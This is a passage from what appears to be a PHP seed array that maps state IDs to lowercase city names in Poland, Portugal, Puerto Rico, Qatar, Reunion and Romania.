['state_id' => '2886', 'name' => 'katowice'],\n ['state_id' => '2886', 'name' => 'klobuck'],\n ['state_id' => '2886', 'name' => 'knurow'],\n ['state_id' => '2886', 'name' => 'laziska gorne'],\n ['state_id' => '2886', 'name' => 'ledziny'],\n ['state_id' => '2886', 'name' => 'lubliniec'],\n ['state_id' => '2886', 'name' => 'mikolow'],\n ['state_id' => '2886', 'name' => 'myslowice'],\n ['state_id' => '2886', 'name' => 'myszkow'],\n ['state_id' => '2886', 'name' => 'orzesze'],\n ['state_id' => '2886', 'name' => 'piekary slaskie'],\n ['state_id' => '2886', 'name' => 'poreba'],\n ['state_id' => '2886', 'name' => 'pszczyna'],\n ['state_id' => '2886', 'name' => 'pszow'],\n ['state_id' => '2886', 'name' => 'pyskowice'],\n ['state_id' => '2886', 'name' => 'raciborz'],\n ['state_id' => '2886', 'name' => 'radlin'],\n ['state_id' => '2886', 'name' => 'radzionkow'],\n ['state_id' => '2886', 'name' => 'ruda slaska'],\n ['state_id' => '2886', 'name' => 'rybnik'],\n ['state_id' => '2886', 'name' => 'rydultowy'],\n ['state_id' => '2886', 'name' => 'siemianowice slaskie'],\n ['state_id' => '2886', 'name' => 'skoczow'],\n ['state_id' => '2886', 'name' => 'sosnowiec'],\n ['state_id' => '2886', 'name' => 'swietochlowice'],\n ['state_id' => '2886', 'name' => 'tarnowskie gory'],\n ['state_id' => '2886', 'name' => 'tychy'],\n ['state_id' => '2886', 'name' => 'ustron'],\n ['state_id' => '2886', 'name' => 'wisla'],\n ['state_id' => '2886', 'name' => 'wodzislaw slaski'],\n ['state_id' => '2886', 'name' => 'wojkowice'],\n ['state_id' => '2886', 'name' => 'zabrze'],\n ['state_id' => '2886', 'name' => 'zawiercie'],\n ['state_id' => '2886', 'name' => 'zory'],\n ['state_id' => '2886', 'name' => 'zywiec'],\n ['state_id' => '2888', 'name' => 'busko-zdroj'],\n ['state_id' => '2888', 'name' => 'jedrzejow'],\n ['state_id' => '2888', 'name' => 'kielce'],\n ['state_id' => '2888', 'name' => 'konskie'],\n ['state_id' => '2888', 'name' => 'ostrowiec swietokrzyski'],\n ['state_id' => '2888', 'name' => 'pinczow'],\n ['state_id' => '2888', 'name' => 'polaniec'],\n ['state_id' => '2888', 'name' => 'sandomierz'],\n ['state_id' => '2888', 'name' => 'skarzysko-kamienna'],\n ['state_id' => '2888', 'name' => 'starachowice'],\n ['state_id' => '2888', 'name' => 'staszow'],\n ['state_id' => '2888', 'name' => 'suchedniow'],\n ['state_id' => '2888', 'name' => 'wloszczowa'],\n ['state_id' => '2889', 'name' => 'bartoszyce'],\n ['state_id' => '2889', 'name' => 'biskupiec'],\n ['state_id' => '2889', 'name' => 'braniewo'],\n ['state_id' => '2889', 'name' => 'dobre miasto'],\n ['state_id' => '2889', 'name' => 'dzialdowo'],\n ['state_id' => '2889', 'name' => 'elblag'],\n ['state_id' => '2889', 'name' => 'elk'],\n ['state_id' => '2889', 'name' => 'gizycko'],\n ['state_id' => '2889', 'name' => 'goldap'],\n ['state_id' => '2889', 'name' => 'ilawa'],\n ['state_id' => '2889', 'name' => 'ketrzyn'],\n ['state_id' => '2889', 'name' => 'lidzbark warminski'],\n ['state_id' => '2889', 'name' => 'lubawa'],\n ['state_id' => '2889', 'name' => 'morag'],\n ['state_id' => '2889', 'name' => 'mragowo'],\n ['state_id' => '2889', 'name' => 'nidzica'],\n ['state_id' => '2889', 'name' => 'nowe miasto lubawskie'],\n ['state_id' => '2889', 'name' => 'olecko'],\n ['state_id' => '2889', 'name' => 'olsztyn'],\n ['state_id' => '2889', 'name' => 'orneta'],\n ['state_id' => '2889', 'name' => 'ostroda'],\n ['state_id' => '2889', 'name' => 'paslek'],\n ['state_id' => '2889', 'name' => 'pisz'],\n ['state_id' => '2889', 'name' => 'szczytno'],\n ['state_id' => '2889', 'name' => 'wegorzewo'],\n ['state_id' => '2890', 'name' => 'nadarzyn'],\n ['state_id' => '2890', 'name' => 'szemud'],\n ['state_id' => '2890', 'name' => 'warsaw'],\n ['state_id' => '2891', 'name' => 'goscicino'],\n ['state_id' => '2892', 'name' => 'chodziez'],\n ['state_id' => '2892', 'name' => 'czarnkow'],\n ['state_id' => '2892', 'name' => 'gniezno'],\n ['state_id' => '2892', 'name' => 'gostyn'],\n ['state_id' => '2892', 'name' => 'grodzisk wielkopolski'],\n ['state_id' => '2892', 'name' => 'jarocin'],\n ['state_id' => '2892', 'name' => 'kalisz'],\n ['state_id' => '2892', 'name' => 'kepno'],\n ['state_id' => '2892', 'name' => 'kolo'],\n ['state_id' => '2892', 'name' => 'konin'],\n ['state_id' => '2892', 'name' => 'koscian'],\n ['state_id' => '2892', 'name' => 'krotoszyn'],\n ['state_id' => '2892', 'name' => 'leszno'],\n ['state_id' => '2892', 'name' => 'lubon'],\n ['state_id' => '2892', 'name' => 'miedzychod'],\n ['state_id' => '2892', 'name' => 'mosina'],\n ['state_id' => '2892', 'name' => 'murowana goslina'],\n ['state_id' => '2892', 'name' => 'nowy tomysl'],\n ['state_id' => '2892', 'name' => 'oborniki'],\n ['state_id' => '2892', 'name' => 'opalenica'],\n ['state_id' => '2892', 'name' => 'ostrow wielkopolski'],\n ['state_id' => '2892', 'name' => 'ostrzeszow'],\n ['state_id' => '2892', 'name' => 'pila'],\n ['state_id' => '2892', 'name' => 'pleszew'],\n ['state_id' => '2892', 'name' => 'poznan'],\n ['state_id' => '2892', 'name' => 'rawicz'],\n ['state_id' => '2892', 'name' => 'rogozno'],\n ['state_id' => '2892', 'name' => 'slupca'],\n ['state_id' => '2892', 'name' => 'srem'],\n ['state_id' => '2892', 'name' => 'sroda wielkopolska'],\n ['state_id' => '2892', 'name' => 'swarzedz'],\n ['state_id' => '2892', 'name' => 'szamotuly'],\n ['state_id' => '2892', 'name' => 'trzcianka'],\n ['state_id' => '2892', 'name' => 'tuliszkow'],\n ['state_id' => '2892', 'name' => 'turek'],\n ['state_id' => '2892', 'name' => 'wagrowiec'],\n ['state_id' => '2892', 'name' => 'wolsztyn'],\n ['state_id' => '2892', 'name' => 'wronki'],\n ['state_id' => '2892', 'name' => 'wrzesnia'],\n ['state_id' => '2892', 'name' => 'zlotow'],\n ['state_id' => '2893', 'name' => 'borowa'],\n ['state_id' => '2894', 'name' => 'barlinek'],\n ['state_id' => '2894', 'name' => 'bialogard'],\n ['state_id' => '2894', 'name' => 'choszczno'],\n ['state_id' => '2894', 'name' => 'darlowo'],\n ['state_id' => '2894', 'name' => 'debno'],\n ['state_id' => '2894', 'name' => 'drawsko pomorskie'],\n ['state_id' => '2894', 'name' => 'goleniow'],\n ['state_id' => '2894', 'name' => 'gryfice'],\n ['state_id' => '2894', 'name' => 'gryfino'],\n ['state_id' => '2894', 'name' => 'kamien pomorski'],\n ['state_id' => '2894', 'name' => 'kolobrzeg'],\n ['state_id' => '2894', 'name' => 'koszalin'],\n ['state_id' => '2894', 'name' => 'lobez'],\n ['state_id' => '2894', 'name' => 'mysliborz'],\n ['state_id' => '2894', 'name' => 'nowogard'],\n ['state_id' => '2894', 'name' => 'polczyn-zdroj'],\n ['state_id' => '2894', 'name' => 'police'],\n ['state_id' => '2894', 'name' => 'pyrzyce'],\n ['state_id' => '2894', 'name' => 'slawno'],\n ['state_id' => '2894', 'name' => 'stargard szczecinski'],\n ['state_id' => '2894', 'name' => 'swidwin'],\n ['state_id' => '2894', 'name' => 'swinoujscie'],\n ['state_id' => '2894', 'name' => 'szczecin'],\n ['state_id' => '2894', 'name' => 'szczecinek'],\n ['state_id' => '2894', 'name' => 'trzebiatow'],\n ['state_id' => '2894', 'name' => 'walcz'],\n ['state_id' => '2894', 'name' => 'zlocieniec'],\n ['state_id' => '2895', 'name' => 'zukowskie'],\n ['state_id' => '2896', 'name' => 'tramagal'],\n ['state_id' => '2897', 'name' => 'angra'],\n ['state_id' => '2897', 'name' => 'arrifes'],\n ['state_id' => '2897', 'name' => 'faja de baixo'],\n ['state_id' => '2897', 'name' => 'horta'],\n ['state_id' => '2897', 'name' => 'lagoa'],\n ['state_id' => '2897', 'name' => 'ponta delgada'],\n ['state_id' => '2897', 'name' => 'praia da vitoria'],\n ['state_id' => '2897', 'name' => 'rabo de peixe'],\n ['state_id' => '2897', 'name' => 'ribeira grande'],\n ['state_id' => '2897', 'name' => 'rosto do cao'],\n ['state_id' => '2897', 'name' => 'vila franca do campo'],\n ['state_id' => '2898', 'name' => 'alcacer do sal'],\n ['state_id' => '2898', 'name' => 'aljustrel'],\n ['state_id' => '2898', 'name' => 'beja'],\n ['state_id' => '2898', 'name' => 'borba'],\n ['state_id' => '2898', 'name' => 'caia e sao pedro'],\n ['state_id' => '2898', 'name' => 'campo maior'],\n ['state_id' => '2898', 'name' => 'castro verde'],\n ['state_id' => '2898', 'name' => 'cercal'],\n ['state_id' => '2898', 'name' => 'elvas'],\n ['state_id' => '2898', 'name' => 'estremoz'],\n ['state_id' => '2898', 'name' => 'evora'],\n ['state_id' => '2898', 'name' => 'ferreira do alentejo'],\n ['state_id' => '2898', 'name' => 'grandola'],\n ['state_id' => '2898', 'name' => 'montemor-o-novo'],\n ['state_id' => '2898', 'name' => 'moura'],\n ['state_id' => '2898', 'name' => 'odemira'],\n ['state_id' => '2898', 'name' => 'ponte de sor'],\n ['state_id' => '2898', 'name' => 'portalegre'],\n ['state_id' => '2898', 'name' => 'redondo'],\n ['state_id' => '2898', 'name' => 'reguengos de monsaraz'],\n ['state_id' => '2898', 'name' => 'santiago do cacem'],\n ['state_id' => '2898', 'name' => 'santo andre'],\n ['state_id' => '2898', 'name' => 'sao teotonio'],\n ['state_id' => '2898', 'name' => 'serpa'],\n ['state_id' => '2898', 'name' => 'sines'],\n ['state_id' => '2898', 'name' => 'vendas novas'],\n ['state_id' => '2898', 'name' => 'vila nova de milfontes'],\n ['state_id' => '2898', 'name' => 'vila vicosa'],\n ['state_id' => '2899', 'name' => 'albufeira'],\n ['state_id' => '2899', 'name' => 'aljezur'],\n ['state_id' => '2899', 'name' => 'almancil'],\n ['state_id' => '2899', 'name' => 'alvor'],\n ['state_id' => '2899', 'name' => 'armacao de pera'],\n ['state_id' => '2899', 'name' => 'boliqueime'],\n ['state_id' => '2899', 'name' => 'castro marim'],\n ['state_id' => '2899', 'name' => 'estombar'],\n ['state_id' => '2899', 'name' => 'faro'],\n ['state_id' => '2899', 'name' => 'ferreiras'],\n ['state_id' => '2899', 'name' => 'guia'],\n ['state_id' => '2899', 'name' => 'lagoa'],\n ['state_id' => '2899', 'name' => 'lagos'],\n ['state_id' => '2899', 'name' => 'loule'],\n ['state_id' => '2899', 'name' => 'luz'],\n ['state_id' => '2899', 'name' => 'moncarapacho'],\n ['state_id' => '2899', 'name' => 'monchique'],\n ['state_id' => '2899', 'name' => 'monte gordo'],\n ['state_id' => '2899', 'name' => 'montenegro'],\n ['state_id' => '2899', 'name' => 'olhao'],\n ['state_id' => '2899', 'name' => 'portimao'],\n ['state_id' => '2899', 'name' => 'quarteira'],\n ['state_id' => '2899', 'name' => 'santa barbara de nexe'],\n ['state_id' => '2899', 'name' => 'sao bartolomeu de messines'],\n ['state_id' => '2899', 'name' => 'sao bras de alportel'],\n ['state_id' => '2899', 'name' => 'silves'],\n ['state_id' => '2899', 'name' => 'tavira'],\n ['state_id' => '2899', 'name' => 'vila real de santo antonio'],\n ['state_id' => '2900', 'name' => 'fafe'],\n ['state_id' => '2900', 'name' => 'forjaes'],\n ['state_id' => '2900', 'name' => 'vianna do castello'],\n ['state_id' => '2901', 'name' => 'abraveses'],\n ['state_id' => '2901', 'name' => 'aguada de cima'],\n ['state_id' => '2901', 'name' => 'agueda'],\n ['state_id' => '2901', 'name' => 'albergaria-a-velha'],\n ['state_id' => '2901', 'name' => 'alcains'],\n ['state_id' => '2901', 'name' => 'alhadas'],\n ['state_id' => '2901', 'name' => 'amor'],\n ['state_id' => '2901', 'name' => 'aradas'],\n ['state_id' => '2901', 'name' => 'arazede'],\n ['state_id' => '2901', 'name' => 'arcos'],\n ['state_id' => '2901', 'name' => 'arganil'],\n ['state_id' => '2901', 'name' => 'avanca'],\n ['state_id' => '2901', 'name' => 'aveiro'],\n ['state_id' => '2901', 'name' => 'batalha'],\n ['state_id' => '2901', 'name' => 'beduido'],\n ['state_id' => '2901', 'name' => 'branca'],\n ['state_id' => '2901', 'name' => 'buarcos'],\n ['state_id' => '2901', 'name' => 'campo'],\n ['state_id' => '2901', 'name' => 'cantanhede'],\n ['state_id' => '2901', 'name' => 'caranguejeira'],\n ['state_id' => '2901', 'name' => 'castanheira de pera'],\n ['state_id' => '2901', 'name' => 'castelo branco'],\n ['state_id' => '2901', 'name' => 'castro daire'],\n ['state_id' => '2901', 'name' => 'coimbra'],\n ['state_id' => '2901', 'name' => 'condeixa-a-nova'],\n ['state_id' => '2901', 'name' => 'cortegaca'],\n ['state_id' => '2901', 'name' => 'covilha'],\n ['state_id' => '2901', 'name' => 'eixo'],\n ['state_id' => '2901', 'name' => 'esmoriz'],\n ['state_id' => '2901', 'name' => 'figueira da foz'],\n ['state_id' => '2901', 'name' => 'fundao'],\n ['state_id' => '2901', 'name' => 'gafanha da encarnacao'],\n ['state_id' => '2901', 'name' => 'gafanha da nazare'],\n ['state_id' => '2901', 'name' => 'guarda'],\n ['state_id' => '2901', 'name' => 'ilhavo'],\n ['state_id' => '2901', 'name' => 'lavos'],\n ['state_id' => '2901', 'name' => 'leiria'],\n ['state_id' => '2901', 'name' => 'lorvao'],\n ['state_id' => '2901', 'name' => 'lourical'],\n ['state_id' => '2901', 'name' => 'lousa'],\n ['state_id' => '2901', 'name' => 'maceira'],\n ['state_id' => '2901', 'name' => 'mangualde'],\n ['state_id' => '2901', 'name' => 'marinha grande'],\n ['state_id' => '2901', 'name' => 'mealhada'],\n ['state_id' => '2901', 'name' => 'mira'],\n ['state_id' => '2901', 'name' => 'mira de aire'],\n ['state_id' => '2901', 'name' => 'miranda do corvo'],\n ['state_id' => '2901', 'name' => 'monte redondo'],\n ['state_id' => '2901', 'name' => 'nelas'],\n ['state_id' => '2901', 'name' => 'oia'],\n ['state_id' => '2901', 'name' => 'oliveira do bairro'],\n ['state_id' => '2901', 'name' => 'oliveira do hospital'],\n ['state_id' => '2901', 'name' => 'oliveirinha'],\n ['state_id' => '2901', 'name' => 'ovar'],\n ['state_id' => '2901', 'name' => 'pampilhosa'],\n ['state_id' => '2901', 'name' => 'pardilho'],\n ['state_id' => '2901', 'name' => 'poiares'],\n ['state_id' => '2901', 'name' => 'pombal'],\n ['state_id' => '2901', 'name' => 'porto de mos'],\n ['state_id' => '2901', 'name' => 'proenca-a-nova'],\n ['state_id' => '2901', 'name' => 'rio de loba'],\n ['state_id' => '2901', 'name' => 'salreu'],\n ['state_id' => '2901', 'name' => 'sangalhos'],\n ['state_id' => '2901', 'name' => 'santa catarina da serra'],\n ['state_id' => '2901', 'name' => 'sao joao'],\n ['state_id' => '2901', 'name' => 'sao pedro do sul'],\n ['state_id' => '2901', 'name' => 'satao'],\n ['state_id' => '2901', 'name' => 'seia'],\n ['state_id' => '2901', 'name' => 'serta'],\n ['state_id' => '2901', 'name' => 'soure'],\n ['state_id' => '2901', 'name' => 'souto da carpalhosa'],\n ['state_id' => '2901', 'name' => 'tavarede'],\n ['state_id' => '2901', 'name' => 'teixoso'],\n ['state_id' => '2901', 'name' => 'tondela'],\n ['state_id' => '2901', 'name' => 'tortosendo'],\n ['state_id' => '2901', 'name' => 'vagos'],\n ['state_id' => '2901', 'name' => 'valega'],\n ['state_id' => '2901', 'name' => 'valongo do vouga'],\n ['state_id' => '2901', 'name' => 'vieira de leiria'],\n ['state_id' => '2901', 'name' => 'viseu'],\n ['state_id' => '2907', 'name' => 'camacha'],\n ['state_id' => '2907', 'name' => 'camara de lobos'],\n ['state_id' => '2907', 'name' => 'campanario'],\n ['state_id' => '2907', 'name' => 'canico'],\n ['state_id' => '2907', 'name' => 'funchal'],\n ['state_id' => '2907', 'name' => 'machico'],\n ['state_id' => '2907', 'name' => 'ponta do sol'],\n ['state_id' => '2907', 'name' => 'porto santo'],\n ['state_id' => '2907', 'name' => 'ribeira brava'],\n ['state_id' => '2907', 'name' => 'santa cruz'],\n ['state_id' => '2908', 'name' => 'a ver-o-mar'],\n ['state_id' => '2908', 'name' => 'adaufe'],\n ['state_id' => '2908', 'name' => 'aguas santas'],\n ['state_id' => '2908', 'name' => 'agucadoura'],\n ['state_id' => '2908', 'name' => 'alfena'],\n ['state_id' => '2908', 'name' => 'alpendurada e matos'],\n ['state_id' => '2908', 'name' => 'amarante'],\n ['state_id' => '2908', 'name' => 'anta'],\n ['state_id' => '2908', 'name' => 'antas'],\n ['state_id' => '2908', 'name' => 'apulia'],\n ['state_id' => '2908', 'name' => 'arcozelo'],\n ['state_id' => '2908', 'name' => 'areosa'],\n ['state_id' => '2908', 'name' => 'argoncilhe'],\n ['state_id' => '2908', 'name' => 'aroes'],\n ['state_id' => '2908', 'name' => 'arrifana'],\n ['state_id' => '2908', 'name' => 'arvore'],\n ['state_id' => '2908', 'name' => 'aves'],\n ['state_id' => '2908', 'name' => 'avintes'],\n ['state_id' => '2908', 'name' => 'baguim do monte'],\n ['state_id' => '2908', 'name' => 'baltar'],\n ['state_id' => '2908', 'name' => 'barcelos'],\n ['state_id' => '2908', 'name' => 'barrosas'],\n ['state_id' => '2908', 'name' => 'bougado'],\n ['state_id' => '2908', 'name' => 'braga'],\n ['state_id' => '2908', 'name' => 'braganca'],\n ['state_id' => '2908', 'name' => 'brito'],\n ['state_id' => '2908', 'name' => 'caldas de vizela'],\n ['state_id' => '2908', 'name' => 'caldelas'],\n ['state_id' => '2908', 'name' => 'calendario'],\n ['state_id' => '2908', 'name' => 'campo'],\n ['state_id' => '2908', 'name' => 'candoso'],\n ['state_id' => '2908', 'name' => 'canedo'],\n ['state_id' => '2908', 'name' => 'canelas'],\n ['state_id' => '2908', 'name' => 'canidelo'],\n ['state_id' => '2908', 'name' => 'carvalhosa'],\n ['state_id' => '2908', 'name' => 'casteloes de cepeda'],\n ['state_id' => '2908', 'name' => 'chaves'],\n ['state_id' => '2908', 'name' => 'coronado'],\n ['state_id' => '2908', 'name' => 'couto'],\n ['state_id' => '2908', 'name' => 'custoias'],\n ['state_id' => '2908', 'name' => 'darque'],\n ['state_id' => '2908', 'name' => 'ermesinde'],\n ['state_id' => '2908', 'name' => 'espinho'],\n ['state_id' => '2908', 'name' => 'fafe'],\n ['state_id' => '2908', 'name' => 'fanzeres'],\n ['state_id' => '2908', 'name' => 'feira'],\n ['state_id' => '2908', 'name' => 'ferreira'],\n ['state_id' => '2908', 'name' => 'ferreiros'],\n ['state_id' => '2908', 'name' => 'fiaes'],\n ['state_id' => '2908', 'name' => 'figueiro'],\n ['state_id' => '2908', 'name' => 'foz do sousa'],\n ['state_id' => '2908', 'name' => 'frazao'],\n ['state_id' => '2908', 'name' => 'freamunde'],\n ['state_id' => '2908', 'name' => 'galegos'],\n ['state_id' => '2908', 'name' => 'gandra'],\n ['state_id' => '2908', 'name' => 'gemunde'],\n ['state_id' => '2908', 'name' => 'godim'],\n ['state_id' => '2908', 'name' => 'gondomar'],\n ['state_id' => '2908', 'name' => 'grijo'],\n ['state_id' => '2908', 'name' => 'gueifaes'],\n ['state_id' => '2908', 'name' => 'guifoes'],\n ['state_id' => '2908', 'name' => 'guimaraes'],\n ['state_id' => '2908', 'name' => 'gulpilhares'],\n ['state_id' => '2908', 'name' => 'joane'],\n ['state_id' => '2908', 'name' => 'jovim'],\n ['state_id' => '2908', 'name' => 'lamego'],\n ['state_id' => '2908', 'name' => 'lavra'],\n ['state_id' => '2908', 'name' => 'leca da palmeira'],\n ['state_id' => '2908', 'name' => 'leca do bailio'],\n ['state_id' => '2908', 'name' => 'lobao'],\n ['state_id' => '2908', 'name' => 'lordelo'],\n ['state_id' => '2908', 'name' => 'lourosa'],\n ['state_id' => '2908', 'name' => 'lustosa'],\n ['state_id' => '2908', 'name' => 'macedo de cavaleiros'],\n ['state_id' => '2908', 'name' => 'macieira de cambra'],\n ['state_id' => '2908', 'name' => 'madalena'],\n ['state_id' => '2908', 'name' => 'maia'],\n ['state_id' => '2908', 'name' => 'margaride'],\n ['state_id' => '2908', 'name' => 'marinhas'],\n ['state_id' => '2908', 'name' => 'matosinhos'],\n ['state_id' => '2908', 'name' => 'meadela'],\n ['state_id' => '2908', 'name' => 'meinedo'],\n ['state_id' => '2908', 'name' => 'milheiros'],\n ['state_id' => '2908', 'name' => 'milheiros de poiares'],\n ['state_id' => '2908', 'name' => 'mirandela'],\n ['state_id' => '2908', 'name' => 'mogadouro'],\n ['state_id' => '2908', 'name' => 'moreira'],\n ['state_id' => '2908', 'name' => 'moreira de conegos'],\n ['state_id' => '2908', 'name' => 'mozelos'],\n ['state_id' => '2908', 'name' => 'negrelos'],\n ['state_id' => '2908', 'name' => 'nogueira'],\n ['state_id' => '2908', 'name' => 'nogueira da regedoura'],\n ['state_id' => '2908', 'name' => 'olival'],\n ['state_id' => '2908', 'name' => 'oliveira'],\n ['state_id' => '2908', 'name' => 'oliveira de azemeis'],\n ['state_id' => '2908', 'name' => 'oliveira do douro'],\n ['state_id' => '2908', 'name' => 'pacos de brandao'],\n ['state_id' => '2908', 'name' => 'pacos de ferreira'],\n ['state_id' => '2908', 'name' => 'pedroso'],\n ['state_id' => '2908', 'name' => 'pedroucos'],\n ['state_id' => '2908', 'name' => 'penafiel'],\n ['state_id' => '2908', 'name' => 'perafita'],\n ['state_id' => '2908', 'name' => 'perozinho'],\n ['state_id' => '2908', 'name' => 'peso da regua'],\n ['state_id' => '2908', 'name' => 'ponte'],\n ['state_id' => '2908', 'name' => 'porto'],\n ['state_id' => '2908', 'name' => 'povoa de lanhoso'],\n ['state_id' => '2908', 'name' => 'povoa de varzim'],\n ['state_id' => '2908', 'name' => 'real'],\n ['state_id' => '2908', 'name' => 'rebordosa'],\n ['state_id' => '2908', 'name' => 'recarei'],\n ['state_id' => '2908', 'name' => 'refojos de basto'],\n ['state_id' => '2908', 'name' => 'ribeirao'],\n ['state_id' => '2908', 'name' => 'rio meao'],\n ['state_id' => '2908', 'name' => 'rio tinto'],\n ['state_id' => '2908', 'name' => 'ronfe'],\n ['state_id' => '2908', 'name' => 'sande'],\n ['state_id' => '2908', 'name' => 'sandim'],\n ['state_id' => '2908', 'name' => 'santa cruz do bispo'],\n ['state_id' => '2908', 'name' => 'santa maria de lamas'],\n ['state_id' => '2908', 'name' => 'santiago da riba-ul'],\n ['state_id' => '2908', 'name' => 'santo tirso'],\n ['state_id' => '2908', 'name' => 'sao felix da marinha'],\n ['state_id' => '2908', 'name' => 'sao joao da madeira'],\n ['state_id' => '2908', 'name' => 'sao joao de ver'],\n ['state_id' => '2908', 'name' => 'sao mamede de infesta'],\n ['state_id' => '2908', 'name' => 'sao pedro da cova'],\n ['state_id' => '2908', 'name' => 'sao pedro de casteloes'],\n ['state_id' => '2908', 'name' => 'sao roque'],\n ['state_id' => '2908', 'name' => 'selho'],\n ['state_id' => '2908', 'name' => 'senhora da hora'],\n ['state_id' => '2908', 'name' => 'seroa'],\n ['state_id' => '2908', 'name' => 'serzedelo'],\n ['state_id' => '2908', 'name' => 'serzedo'],\n ['state_id' => '2908', 'name' => 'silvalde'],\n ['state_id' => '2908', 'name' => 'sobrado'],\n ['state_id' => '2908', 'name' => 'sobreira'],\n ['state_id' => '2908', 'name' => 'souto'],\n ['state_id' => '2908', 'name' => 'teloes'],\n ['state_id' => '2908', 'name' => 'urgezes'],\n ['state_id' => '2908', 'name' => 'valadares'],\n ['state_id' => '2908', 'name' => 'valbom'],\n ['state_id' => '2908', 'name' => 'vale'],\n ['state_id' => '2908', 'name' => 'valongo'],\n ['state_id' => '2908', 'name' => 'valpacos'],\n ['state_id' => '2908', 'name' => 'viana do castelo'],\n ['state_id' => '2908', 'name' => 'vila cha'],\n ['state_id' => '2908', 'name' => 'vila frescainha'],\n ['state_id' => '2908', 'name' => 'vila nova da telha'],\n ['state_id' => '2908', 'name' => 'vila nova de famalicao'],\n ['state_id' => '2908', 'name' => 'vila nova de gaia'],\n ['state_id' => '2908', 'name' => 'vila praia de ancora'],\n ['state_id' => '2908', 'name' => 'vila real'],\n ['state_id' => '2908', 'name' => 'vila verde'],\n ['state_id' => '2908', 'name' => 'vila de cucujaes'],\n ['state_id' => '2908', 'name' => 'vila de prado'],\n ['state_id' => '2908', 'name' => 'vila do conde'],\n ['state_id' => '2908', 'name' => 'vilar de andorinho'],\n ['state_id' => '2908', 'name' => 'vilar do paraiso'],\n ['state_id' => '2908', 'name' => 'vilarinho'],\n ['state_id' => '2908', 'name' => 'vilela'],\n ['state_id' => '2908', 'name' => 'vizela'],\n ['state_id' => '2909', 'name' => 'paivas'],\n ['state_id' => '2910', 'name' => 'arecibo'],\n ['state_id' => '2910', 'name' => 'barceloneta'],\n ['state_id' => '2910', 'name' => 'camuy'],\n ['state_id' => '2910', 'name' => 'dorado'],\n ['state_id' => '2910', 'name' => 'isabela'],\n ['state_id' => '2910', 'name' => 'manati'],\n ['state_id' => '2910', 'name' => 'vega alta'],\n ['state_id' => '2910', 'name' => 'vega baja'],\n ['state_id' => '2911', 'name' => 'bayamon'],\n ['state_id' => '2911', 'name' => 'catano'],\n ['state_id' => '2911', 'name' => 'guaynabo'],\n ['state_id' => '2911', 'name' => 'levittown'],\n ['state_id' => '2911', 'name' => 'valencia'],\n ['state_id' => '2912', 'name' => 'canovanas'],\n ['state_id' => '2912', 'name' => 'carolina'],\n ['state_id' => '2912', 'name' => 'trujillo alto'],\n ['state_id' => '2913', 'name' => 'florida'],\n ['state_id' => '2914', 'name' => 'aibonito'],\n ['state_id' => '2914', 'name' => 'arroyo'],\n ['state_id' => '2914', 'name' => 'barranquitas'],\n ['state_id' => '2914', 'name' => 'cayey'],\n ['state_id' => '2914', 'name' => 'coamo'],\n ['state_id' => '2914', 'name' => 'corozal'],\n ['state_id' => '2914', 'name' => 'guayama'],\n ['state_id' => '2914', 'name' => 'juana diaz'],\n ['state_id' => '2915', 'name' => 'aguas buenas'],\n ['state_id' => '2915', 'name' => 'caguas'],\n ['state_id' => '2915', 'name' => 'culebra'],\n ['state_id' => '2915', 'name' => 'fajardo'],\n ['state_id' => '2915', 'name' => 'gurabo'],\n ['state_id' => '2915', 'name' => 'humacao'],\n ['state_id' => '2915', 'name' => 'juncos'],\n ['state_id' => '2915', 'name' => 'rio grande'],\n ['state_id' => '2915', 'name' => 'vieques'],\n ['state_id' => '2916', 'name' => 'aguada'],\n ['state_id' => '2916', 'name' => 'aguadilla'],\n ['state_id' => '2916', 'name' => 'anasco'],\n ['state_id' => '2916', 'name' => 'cabo rojo'],\n ['state_id' => '2916', 'name' => 'hormigueros'],\n ['state_id' => '2916', 'name' => 'mayaguez'],\n ['state_id' => '2916', 'name' => 'san german'],\n ['state_id' => '2916', 'name' => 'san sebastian'],\n ['state_id' => '2917', 'name' => 'adjuntas'],\n ['state_id' => '2917', 'name' => 'guanica'],\n ['state_id' => '2917', 'name' => 'ponce'],\n ['state_id' => '2917', 'name' => 'utuado'],\n ['state_id' => '2917', 'name' => 'yauco'],\n ['state_id' => '2918', 'name' => 'salinas'],\n ['state_id' => '2920', 'name' => 'doha'],\n ['state_id' => '2921', 'name' => 'umm bab'],\n ['state_id' => '2923', 'name' => 'ad-dawhah'],\n ['state_id' => '2924', 'name' => 'al-ghuwayriyah'],\n ['state_id' => '2925', 'name' => 'dukhan'],\n ['state_id' => '2925', 'name' => 'al-jumayliyah'],\n ['state_id' => '2926', 'name' => 'al-khawr'],\n ['state_id' => '2927', 'name' => 'musay\\'id'],\n ['state_id' => '2927', 'name' => 'al-wakrah'],\n ['state_id' => '2927', 'name' => 'al-wukayr'],\n ['state_id' => '2928', 'name' => 'ar-rayyan'],\n ['state_id' => '2928', 'name' => 'ash-shahaniyah'],\n ['state_id' => '2929', 'name' => 'ar-ruways'],\n ['state_id' => '2930', 'name' => 'bras-panon'],\n ['state_id' => '2930', 'name' => 'saint-andre'],\n ['state_id' => '2930', 'name' => 'saint-benoit'],\n ['state_id' => '2930', 'name' => 'sainte-rose'],\n ['state_id' => '2930', 'name' => 'salazie'],\n ['state_id' => '2931', 'name' => 'la possession'],\n ['state_id' => '2931', 'name' => 'le port'],\n ['state_id' => '2931', 'name' => 'saint-denis'],\n ['state_id' => '2931', 'name' => 'sainte-marie'],\n ['state_id' => '2931', 'name' => 'sainte-suzanne'],\n ['state_id' => '2932', 'name' => 'l\\'etang-sale'],\n ['state_id' => '2932', 'name' => 'les aviron'],\n ['state_id' => '2932', 'name' => 'les trois-bassins'],\n ['state_id' => '2932', 'name' => 'saint-leu'],\n ['state_id' => '2932', 'name' => 'saint-paul'],\n ['state_id' => '2933', 'name' => 'cilaos'],\n ['state_id' => '2933', 'name' => 'entre-deux'],\n ['state_id' => '2933', 'name' => 'le tampon'],\n ['state_id' => '2933', 'name' => 'petite-ile'],\n ['state_id' => '2933', 'name' => 'saint-joseph'],\n ['state_id' => '2933', 'name' => 'saint-louis'],\n ['state_id' => '2933', 'name' => 'saint-philippe'],\n ['state_id' => '2933', 'name' => 'saint-pierre'],\n ['state_id' => '2934', 'name' => 'abrud'],\n ['state_id' => '2934', 'name' => 'aiud'],\n ['state_id' => '2934', 'name' => 'alba iulia'],\n ['state_id' => '2934', 'name' => 'albac'],\n ['state_id' => '2934', 'name' => 'almasu mare'],\n ['state_id' => '2934', 'name' => 'arieseni'],\n ['state_id' => '2934', 'name' => 'avram iancu'],\n ['state_id' => '2934', 'name' => 'baia de aries'],\n ['state_id' => '2934', 'name' => 'berghin'],\n ['state_id' => '2934', 'name' => 'bistra'],\n ['state_id' => '2934', 'name' => 'blaj'],\n 